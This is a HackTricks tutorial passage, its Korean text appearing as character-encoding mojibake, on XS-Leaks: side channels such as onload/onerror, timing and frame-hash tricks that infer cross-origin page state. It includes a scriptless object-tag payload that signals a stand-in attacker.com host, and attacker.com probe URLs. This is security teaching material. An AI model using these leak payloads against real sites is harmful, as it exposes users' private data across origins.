XS-Search/XS-Leaks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

XS-Search๋Š” ์‚ฌ์ด๋“œ ์ฑ„๋„ ์ทจ์•ฝ์ ์„ ํ™œ์šฉํ•˜์—ฌ ๊ต์ฐจ ์ถœ์ฒ˜ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

์ด ๊ณต๊ฒฉ์— ๊ด€๋ จ๋œ ์ฃผ์š” ๊ตฌ์„ฑ ์š”์†Œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์ทจ์•ฝํ•œ ์›น: ์ •๋ณด๊ฐ€ ์ถ”์ถœ๋  ๋Œ€์ƒ ์›น์‚ฌ์ดํŠธ.
  • ๊ณต๊ฒฉ์ž์˜ ์›น: ํ”ผํ•ด์ž๊ฐ€ ๋ฐฉ๋ฌธํ•˜๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ๋งŒ๋“  ์•…์„ฑ ์›น์‚ฌ์ดํŠธ๋กœ, ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ˜ธ์ŠคํŒ…ํ•ฉ๋‹ˆ๋‹ค.
  • ํฌํ•จ ๋ฐฉ๋ฒ•: ์ทจ์•ฝํ•œ ์›น์„ ๊ณต๊ฒฉ์ž์˜ ์›น์— ํ†ตํ•ฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ์ˆ (์˜ˆ: window.open, iframe, fetch, href๊ฐ€ ์žˆ๋Š” HTML ํƒœ๊ทธ ๋“ฑ).
  • ์œ ์ถœ ๊ธฐ์ˆ : ํฌํ•จ ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด ์ˆ˜์ง‘๋œ ์ •๋ณด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ์ทจ์•ฝํ•œ ์›น์˜ ์ƒํƒœ ์ฐจ์ด๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ์ˆ .
  • ์ƒํƒœ: ๊ณต๊ฒฉ์ž๊ฐ€ ๊ตฌ๋ณ„ํ•˜๊ณ ์ž ํ•˜๋Š” ์ทจ์•ฝํ•œ ์›น์˜ ๋‘ ๊ฐ€์ง€ ์ž ์žฌ์  ์กฐ๊ฑด.
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ๊ณต๊ฒฉ์ž๊ฐ€ ์ทจ์•ฝํ•œ ์›น์˜ ์ƒํƒœ๋ฅผ ์ถ”๋ก ํ•˜๋Š” ๋ฐ ์˜์กดํ•˜๋Š” ๊ด€์ฐฐ ๊ฐ€๋Šฅํ•œ ๋ณ€๋™.

๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด

์ทจ์•ฝํ•œ ์›น์˜ ์ƒํƒœ๋ฅผ ๊ตฌ๋ณ„ํ•˜๊ธฐ ์œ„ํ•ด ๋ถ„์„ํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ์ธก๋ฉด์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์ƒํƒœ ์ฝ”๋“œ: ์„œ๋ฒ„ ์˜ค๋ฅ˜, ํด๋ผ์ด์–ธํŠธ ์˜ค๋ฅ˜ ๋˜๋Š” ์ธ์ฆ ์˜ค๋ฅ˜์™€ ๊ฐ™์€ ๋‹ค์–‘ํ•œ HTTP ์‘๋‹ต ์ƒํƒœ ์ฝ”๋“œ๋ฅผ ๊ต์ฐจ ์ถœ์ฒ˜์—์„œ ๊ตฌ๋ณ„ํ•ฉ๋‹ˆ๋‹ค.
  • API ์‚ฌ์šฉ: ํŠน์ • JavaScript ์›น API๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ต์ฐจ ์ถœ์ฒ˜ ํŽ˜์ด์ง€๋ฅผ ๋“œ๋Ÿฌ๋‚ด๋Š” ์›น API ์‚ฌ์šฉ ์‹๋ณ„.
  • ๋ฆฌ๋””๋ ‰์…˜: HTTP ๋ฆฌ๋””๋ ‰์…˜๋ฟ๋งŒ ์•„๋‹ˆ๋ผ JavaScript ๋˜๋Š” HTML์— ์˜ํ•ด ํŠธ๋ฆฌ๊ฑฐ๋œ ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ์˜ ํƒ์ƒ‰ ๊ฐ์ง€.
  • ํŽ˜์ด์ง€ ๋‚ด์šฉ: HTTP ์‘๋‹ต ๋ณธ๋ฌธ ๋˜๋Š” ํŽ˜์ด์ง€ ํ•˜์œ„ ๋ฆฌ์†Œ์Šค์—์„œ์˜ ๋ณ€๋™ ๊ด€์ฐฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ์ž„๋ฒ ๋””๋“œ ํ”„๋ ˆ์ž„์˜ ์ˆ˜ ๋˜๋Š” ์ด๋ฏธ์ง€ ํฌ๊ธฐ ์ฐจ์ด.
  • HTTP ํ—ค๋”: ํŠน์ • HTTP ์‘๋‹ต ํ—ค๋”์˜ ์กด์žฌ ๋˜๋Š” ๊ฐ’ ์ฃผ๋ชฉ, X-Frame-Options, Content-Disposition ๋ฐ Cross-Origin-Resource-Policy์™€ ๊ฐ™์€ ํ—ค๋” ํฌํ•จ.
  • ํƒ€์ด๋ฐ: ๋‘ ์ƒํƒœ ๊ฐ„์˜ ์ผ๊ด€๋œ ์‹œ๊ฐ„ ์ฐจ์ด ๊ฐ์ง€.

ํฌํ•จ ๋ฐฉ๋ฒ•

  • HTML ์š”์†Œ: HTML์€ ๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค ํฌํ•จ์„ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ์š”์†Œ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ์Šคํƒ€์ผ์‹œํŠธ, ์ด๋ฏธ์ง€ ๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ์™€ ๊ฐ™์€ ๋น„HTML ๋ฆฌ์†Œ์Šค๋ฅผ ์š”์ฒญํ•˜๋„๋ก ๋ธŒ๋ผ์šฐ์ €๋ฅผ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ชฉ์ ์„ ์œ„ํ•œ ์ž ์žฌ์  HTML ์š”์†Œ์˜ ๋ชฉ๋ก์€ https://github.com/cure53/HTTPLeaks์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ”„๋ ˆ์ž„: iframe, object, embed์™€ ๊ฐ™์€ ์š”์†Œ๋Š” ๊ณต๊ฒฉ์ž์˜ ํŽ˜์ด์ง€์— HTML ๋ฆฌ์†Œ์Šค๋ฅผ ์ง์ ‘ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŽ˜์ด์ง€๊ฐ€ ํ”„๋ ˆ์ž„ ๋ณดํ˜ธ๊ฐ€ ๋ถ€์กฑํ•œ ๊ฒฝ์šฐ, JavaScript๋Š” contentWindow ์†์„ฑ์„ ํ†ตํ•ด ํ”„๋ ˆ์ž„๋œ ๋ฆฌ์†Œ์Šค์˜ ์ฐฝ ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํŒ์—…: window.open ๋ฉ”์„œ๋“œ๋Š” ์ƒˆ ํƒญ์ด๋‚˜ ์ฐฝ์—์„œ ๋ฆฌ์†Œ์Šค๋ฅผ ์—ด์–ด JavaScript๊ฐ€ SOP์— ๋”ฐ๋ผ ๋ฉ”์„œ๋“œ ๋ฐ ์†์„ฑ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ฐฝ ํ•ธ๋“ค์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ํŒ์—…์€ ์ข…์ข… ๋‹จ์ผ ๋กœ๊ทธ์ธ์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, ๋Œ€์ƒ ๋ฆฌ์†Œ์Šค์˜ ํ”„๋ ˆ์ž„ ๋ฐ ์ฟ ํ‚ค ์ œํ•œ์„ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํ˜„๋Œ€ ๋ธŒ๋ผ์šฐ์ €๋Š” ํŠน์ • ์‚ฌ์šฉ์ž ์ž‘์—…์—๋งŒ ํŒ์—… ์ƒ์„ฑ์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.
  • JavaScript ์š”์ฒญ: JavaScript๋Š” XMLHttpRequests ๋˜๋Š” Fetch API๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ ๋ฆฌ์†Œ์Šค์— ์ง์ ‘ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฐฉ๋ฒ•์€ HTTP ๋ฆฌ๋””๋ ‰์…˜์„ ๋”ฐ๋ฅด๋„๋ก ์„ ํƒํ•˜๋Š” ๋“ฑ ์š”์ฒญ์— ๋Œ€ํ•œ ์ •๋ฐ€ํ•œ ์ œ์–ด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์œ ์ถœ ๊ธฐ์ˆ 

  • ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ: ๋ฆฌ์†Œ์Šค ๋กœ๋”ฉ ์„ฑ๊ณต ๋˜๋Š” ์‹คํŒจ์— ๋Œ€ํ•œ ํ†ต์ฐฐ๋ ฅ์„ ์ œ๊ณตํ•˜๋Š” onload ๋ฐ onerror์™€ ๊ฐ™์€ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ์—์„œ์˜ ๊ณ ์ „์ ์ธ ์œ ์ถœ ๊ธฐ์ˆ .
  • ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€: JavaScript ์˜ˆ์™ธ ๋˜๋Š” ํŠน์ˆ˜ ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๋Š” ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์˜ ์กด์žฌ ์—ฌ๋ถ€์— ๋”ฐ๋ผ ์œ ์ถœ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ „์—ญ ํ•œ๊ณ„: ๋ฉ”๋ชจ๋ฆฌ ์šฉ๋Ÿ‰ ๋˜๋Š” ๊ธฐํƒ€ ๊ฐ•์ œ ๋ธŒ๋ผ์šฐ์ € ํ•œ๊ณ„์™€ ๊ฐ™์€ ๋ธŒ๋ผ์šฐ์ €์˜ ๋ฌผ๋ฆฌ์  ์ œํ•œ์€ ์ž„๊ณ„๊ฐ’์— ๋„๋‹ฌํ–ˆ์„ ๋•Œ ์‹ ํ˜ธ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์œ ์ถœ ๊ธฐ์ˆ ๋กœ ์ž‘์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ์ „์—ญ ์ƒํƒœ: ๋ธŒ๋ผ์šฐ์ €์˜ ์ „์—ญ ์ƒํƒœ(์˜ˆ: History ์ธํ„ฐํŽ˜์ด์Šค)์™€์˜ ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ƒํ˜ธ์ž‘์šฉ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋ธŒ๋ผ์šฐ์ €์˜ ๊ธฐ๋ก์— ์žˆ๋Š” ํ•ญ๋ชฉ ์ˆ˜๋Š” ๊ต์ฐจ ์ถœ์ฒ˜ ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ๋‹จ์„œ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์„ฑ๋Šฅ API: ์ด API๋Š” ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์„ฑ๋Šฅ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ๋ฌธ์„œ ๋ฐ ๋กœ๋“œ๋œ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ๋„คํŠธ์›Œํฌ ํƒ€์ด๋ฐ์„ ํฌํ•จํ•˜์—ฌ ์š”์ฒญ๋œ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ถ”๋ก ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ์ฝ๊ธฐ ๊ฐ€๋Šฅํ•œ ์†์„ฑ: ์ผ๋ถ€ HTML ์†์„ฑ์€ ๊ต์ฐจ ์ถœ์ฒ˜์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ ์œ ์ถœ ๊ธฐ์ˆ ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, window.frame.length ์†์„ฑ์€ JavaScript๊ฐ€ ๊ต์ฐจ ์ถœ์ฒ˜ ์›นํŽ˜์ด์ง€์— ํฌํ•จ๋œ ํ”„๋ ˆ์ž„ ์ˆ˜๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

XSinator ๋„๊ตฌ ๋ฐ ๋…ผ๋ฌธ

XSinator๋Š” ์—ฌ๋Ÿฌ ์•Œ๋ ค์ง„ XS-Leaks์— ๋Œ€ํ•ด ๋ธŒ๋ผ์šฐ์ €๋ฅผ ๊ฒ€์‚ฌํ•˜๋Š” ์ž๋™ ๋„๊ตฌ๋กœ, ๊ทธ ๋…ผ๋ฌธ์—์„œ ์„ค๋ช…๋ฉ๋‹ˆ๋‹ค: https://xsinator.com/paper.pdf

๋„๊ตฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋งํฌ: https://xsinator.com/

Warning

์ œ์™ธ๋œ XS-Leaks: XSinator์˜ ๋‹ค๋ฅธ ์œ ์ถœ๊ณผ ๊ฐ„์„ญํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋น„์Šค ์›Œ์ปค์— ์˜์กดํ•˜๋Š” XS-Leaks๋Š” ์ œ์™ธํ•ด์•ผ ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ํŠน์ • ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ ๋ฐ ๋ฒ„๊ทธ์— ์˜์กดํ•˜๋Š” XS-Leaks๋„ ์ œ์™ธํ•˜๊ธฐ๋กœ ์„ ํƒํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Cross-Origin Resource Sharing (CORS) ์ž˜๋ชป๋œ ๊ตฌ์„ฑ, postMessage ์œ ์ถœ ๋˜๋Š” Cross-Site Scripting. ๋˜ํ•œ, ๋А๋ฆฌ๊ณ  ์‹œ๋„๋Ÿฝ๊ณ  ๋ถ€์ •ํ™•ํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๊ธฐ ๋•Œ๋ฌธ์— ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ XS-Leaks๋„ ์ œ์™ธํ–ˆ์Šต๋‹ˆ๋‹ค.

ํƒ€์ด๋ฐ ๊ธฐ๋ฐ˜ ๊ธฐ์ˆ 

๋‹ค์Œ ๊ธฐ์ˆ  ์ค‘ ์ผ๋ถ€๋Š” ์›น ํŽ˜์ด์ง€์˜ ๊ฐ€๋Šฅํ•œ ์ƒํƒœ์—์„œ ์ฐจ์ด๋ฅผ ๊ฐ์ง€ํ•˜๋Š” ๊ณผ์ •์˜ ์ผํ™˜์œผ๋กœ ํƒ€์ด๋ฐ์„ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹œ๊ณ„: performance.now() API๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ ๊ณ ํ•ด์ƒ๋„ ํƒ€์ด๋ฐ ์ธก์ •์„ ์–ป์„ ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
๊ณต๊ฒฉ์ž๊ฐ€ ์•”๋ฌต์ ์ธ ์‹œ๊ณ„๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ๋‚จ์šฉํ•  ์ˆ˜ ์žˆ๋Š” API์˜ ์ˆ˜๊ฐ€ ์ƒ๋‹นํžˆ ๋งŽ์Šต๋‹ˆ๋‹ค: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS ์• ๋‹ˆ๋ฉ”์ด์…˜ ๋“ฑ.
์ž์„ธํ•œ ์ •๋ณด๋Š”: https://xsleaks.dev/docs/attacks/timing-attacks/clocks์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ๊ธฐ์ˆ 

Onload/Onerror

Cookie Bomb + Onerror XS Leak

์ฝ”๋“œ ์˜ˆ์ œ๋Š” JS์—์„œ ์Šคํฌ๋ฆฝํŠธ ๊ฐ์ฒด๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜์ง€๋งŒ, ๋‹ค๋ฅธ ํƒœ๊ทธ์ธ ๊ฐ์ฒด, ์Šคํƒ€์ผ์‹œํŠธ, ์ด๋ฏธ์ง€, ์˜ค๋””์˜ค๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ํƒœ๊ทธ๋ฅผ ์ง์ ‘ ์ฃผ์ž…ํ•˜๊ณ  ํƒœ๊ทธ ๋‚ด๋ถ€์— onload ๋ฐ onerror ์ด๋ฒคํŠธ๋ฅผ ์„ ์–ธํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค(๋Œ€์‹  JS์—์„œ ์ฃผ์ž…ํ•˜๋Š” ๋Œ€์‹ ).

์ด ๊ณต๊ฒฉ์˜ ์Šคํฌ๋ฆฝํŠธ ์—†๋Š” ๋ฒ„์ „๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

์ด ๊ฒฝ์šฐ example.com/404๊ฐ€ ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์œผ๋ฉด attacker.com/?error๊ฐ€ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

Onload Timing

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Timing (์ผ๋ฐ˜์ ์œผ๋กœ ํŽ˜์ด์ง€ ์ฝ˜ํ…์ธ , ์ƒํƒœ ์ฝ”๋“œ๋กœ ์ธํ•œ)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
  • Summary: performance.now() API๋Š” ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ PerformanceLongTaskTiming API์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ์‹œ๊ณ„๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” 50ms ์ด์ƒ ์‹คํ–‰๋˜๋Š” ์ž‘์—…์„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events ๋˜ ๋‹ค๋ฅธ ์˜ˆ๋Š”:

performance.now example

Onload Timing + Forced Heavy Task

์ด ๊ธฐ์ˆ ์€ ์ด์ „ ๊ธฐ์ˆ ๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ, attacker๋Š” ๊ธ์ •์  ๋˜๋Š” ๋ถ€์ •์  ์‘๋‹ต์ด ์žˆ์„ ๋•Œ ์ƒ๋‹นํ•œ ์‹œ๊ฐ„์ด ๊ฑธ๋ฆฌ๋„๋ก ๊ฐ•์ œํ•˜๋Š” ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ๊ทธ ์‹œ๊ฐ„์„ ์ธก์ •ํ•ฉ๋‹ˆ๋‹ค.

performance.now + Force heavy task

unload/beforeunload Timing

๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์€ unload ๋ฐ beforeunload ์ด๋ฒคํŠธ๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์ธก์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. beforeunload ์ด๋ฒคํŠธ๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ƒˆ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•˜๊ธฐ ์ง์ „์— ๋ฐœ์ƒํ•˜๋ฉฐ, unload ์ด๋ฒคํŠธ๋Š” ์‹ค์ œ๋กœ ํƒ์ƒ‰์ด ์ด๋ฃจ์–ด์งˆ ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‘ ์ด๋ฒคํŠธ ๊ฐ„์˜ ์‹œ๊ฐ„ ์ฐจ์ด๋ฅผ ๊ณ„์‚ฐํ•˜์—ฌ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐ ์†Œ์š”๋œ ์‹œ๊ฐ„์„ ๊ฒฐ์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Sandboxed Frame Timing + onload

Framing Protections์ด ์—†๋Š” ๊ฒฝ์šฐ, ํŽ˜์ด์ง€์™€ ๊ทธ ํ•˜์œ„ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ๋กœ๋“œ๋˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์‹œ๊ฐ„์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์ธก์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ธก์ •์€ ์ผ๋ฐ˜์ ์œผ๋กœ iframe์˜ onload ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋ฆฌ์†Œ์Šค ๋กœ๋”ฉ ๋ฐ JavaScript ์‹คํ–‰์ด ์™„๋ฃŒ๋œ ํ›„์—๋งŒ ํŠธ๋ฆฌ๊ฑฐ๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•˜๋Š” ๋ณ€๋™์„ฑ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด, ๊ณต๊ฒฉ์ž๋Š” <iframe> ๋‚ด์—์„œ sandbox ์†์„ฑ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์†์„ฑ์„ ํฌํ•จํ•˜๋ฉด JavaScript ์‹คํ–‰๊ณผ ๊ฐ™์€ ์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ์ด ์ œํ•œ๋˜์–ด ๋„คํŠธ์›Œํฌ ์„ฑ๋Šฅ์— ์ฃผ๋กœ ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์ธก์ •์„ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: ํŽ˜์ด์ง€์— ์˜ฌ๋ฐ”๋ฅธ ์ฝ˜ํ…์ธ ์— ์ ‘๊ทผํ•  ๋•Œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ํ•˜๊ณ , ์–ด๋–ค ์ฝ˜ํ…์ธ ์— ์ ‘๊ทผํ•  ๋•Œ๋„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋กœ๋“œ๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜์ง€ ์•Š๊ณ  ๋ชจ๋“  ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฃจํ”„๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example:

๋น„๋ฐ€ ์ฝ˜ํ…์ธ ๊ฐ€ ํฌํ•จ๋œ ํŽ˜์ด์ง€๋ฅผ Iframe ์•ˆ์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

ํ”ผํ•ด์ž๊ฐ€ โ€œflagโ€œ๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์„ Iframe์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒ€์ƒ‰ํ•˜๋„๋ก ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ๋ฅผ ๋“ค์–ด CSRF๋ฅผ ์•…์šฉ). Iframe ์•ˆ์—์„œ๋Š” _onload event_๊ฐ€ ํ•ญ์ƒ ์ตœ์†Œํ•œ ํ•œ ๋ฒˆ์€ ์‹คํ–‰๋  ๊ฒƒ์ด๋ผ๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, URL์˜ iframe์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์ง€๋งŒ URL์˜ hash ๋‚ด์šฉ๋งŒ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

์ฒซ ๋ฒˆ์งธ URL์ด ์„ฑ๊ณต์ ์œผ๋กœ ๋กœ๋“œ๋˜์—ˆ๋‹ค๋ฉด, URL์˜ hash ๋ถ€๋ถ„์„ ๋ณ€๊ฒฝํ•  ๋•Œ onload ์ด๋ฒคํŠธ๋Š” ๋‹ค์‹œ ํŠธ๋ฆฌ๊ฑฐ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํŽ˜์ด์ง€๊ฐ€ ๋กœ๋“œํ•  ๋•Œ ์–ด๋–ค ์ข…๋ฅ˜์˜ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ๋‹ค๋ฉด, onload ์ด๋ฒคํŠธ๋Š” ๋‹ค์‹œ ํŠธ๋ฆฌ๊ฑฐ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ •์ƒ์ ์œผ๋กœ ๋กœ๋“œ๋œ ํŽ˜์ด์ง€์™€ ์ ‘๊ทผํ•  ๋•Œ ์˜ค๋ฅ˜๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€๋ฅผ ๊ตฌ๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
